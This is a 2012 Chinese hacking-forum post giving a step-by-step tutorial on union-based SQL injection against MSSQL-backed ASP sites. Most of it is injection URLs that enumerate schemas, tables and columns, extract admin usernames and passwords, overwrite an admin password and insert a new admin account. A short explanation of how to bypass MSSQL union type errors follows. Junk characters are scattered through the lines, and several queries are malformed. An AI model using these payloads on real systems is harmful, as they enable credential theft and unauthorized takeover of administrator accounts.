找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2011|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:
" y( p. C8 i) }' x" j. chttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--' \+ o9 c$ r8 m/ B7 l* L2 p
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.0 ^" S8 d2 W% y1 o
爆下一个库:
) h& A0 a" a% C3 p, M# Ghttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--( `/ }& [# g; a
/ V1 V8 P7 ]: Y: m: H
爆表:3 l' e) \/ ^$ ?# K1 O8 `( {5 A
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
0 q6 r6 a( u& e+ p5 a3 m$ ?* }+ P
: J8 u  I/ F# l  Q" T5 Q  KSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.# P. R1 l+ G* J% X' j; N% k

! w  k- x% K! c/ m3 j, u爆下一个表
* h7 j1 }  o. r' k$ E$ o% uhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--7 E6 M+ m% i# ^6 U2 d  J7 J
8 F6 Z) U8 |6 A2 E
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
/ `2 U/ k$ `% l0 k' F; s! h4 v& N% v$ H& P* B$ O' ^- Q
( [5 y3 P' V8 w- I
$ \* ~2 t) P$ G1 h1 l, u* Y
爆字段:  p  \+ Z3 A# G% C4 T
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
" Y  k) [8 w$ v$ O, z+ p6 _3 K# M. ]! Z  l( n" V, L
爆下一个字段
% ]0 e* T! Q  k; K; thttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
( L5 O: C2 [$ B+ w5 x& u; y7 j
' G0 M+ x# L/ Z* z, t3 ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--# y( O) q( W/ t) h% t

) Y' f/ I! [' u5 G, n
2 h) ]% N- B- ?9 g- e, i爆字段里的内容
4 T0 K- |0 m! r9 s5 a4 Khttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
( K9 K; {8 H. ?) t# B: X1 Q' x0 [9 M" U; _. n/ k4 l
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--$ U4 d% S1 F6 @$ t7 u" u0 E; a  O6 D
0 m! t) r& ]9 c9 b2 k
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--# ?9 `6 l/ W' _: ^" Z$ C7 D  T

; J+ \2 Q! L; E) Bhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--' [" _+ L9 r7 Z( G8 b
9 P1 ~0 V9 q, V0 T; a& W
更新字段里的内容
) D6 `4 n6 ~; x8 ^2 Ehttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
7 ]* j; e- l2 n( g: W3 P
% c" W; A9 v, u( s" Rhttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--, I0 l0 y2 X, U' h

1 R6 w1 o& ~( ?
" n- U! v! m" I0 M7 ^1 u
6 u# M& V; h# t1 Y        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
: a* I8 }! L) `* g+ V# G    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。8 s5 x. K* ]8 f5 C+ z: p5 ?% g
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。- n2 {4 G6 b6 K* z
    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
% G9 r7 q3 }9 Y$ ]! Q
2 M0 I- n+ Z. c, L# c; p0 H- R突了了大部份限制的语句* a! ~) A* p+ Y1 ]: @  a7 q
and 1=2 union all select char(49),char(50),null,null;--+ `& p% T* {8 F3 u7 s' ~5 w

  B1 R  Q1 x: u/ t! g' v; h( T8 {$ ]5 u* s
null也可以正常执行,不过没有回显,不好判断回显的列数。
4 m& c* ]0 v7 J2 X" S一般union遇到问题都是有text或者ntext字段,image的很少遇到
% u3 M9 E- q$ F9 S! U5 q
* T) O( [& X- P+ J* t5 [& E可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟' d6 K0 W' h7 ~* G9 b, N1 i

* q# }) |6 m! z$ y* W8 \/ g* ?' E7 b/ }+ o5 H  X* z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表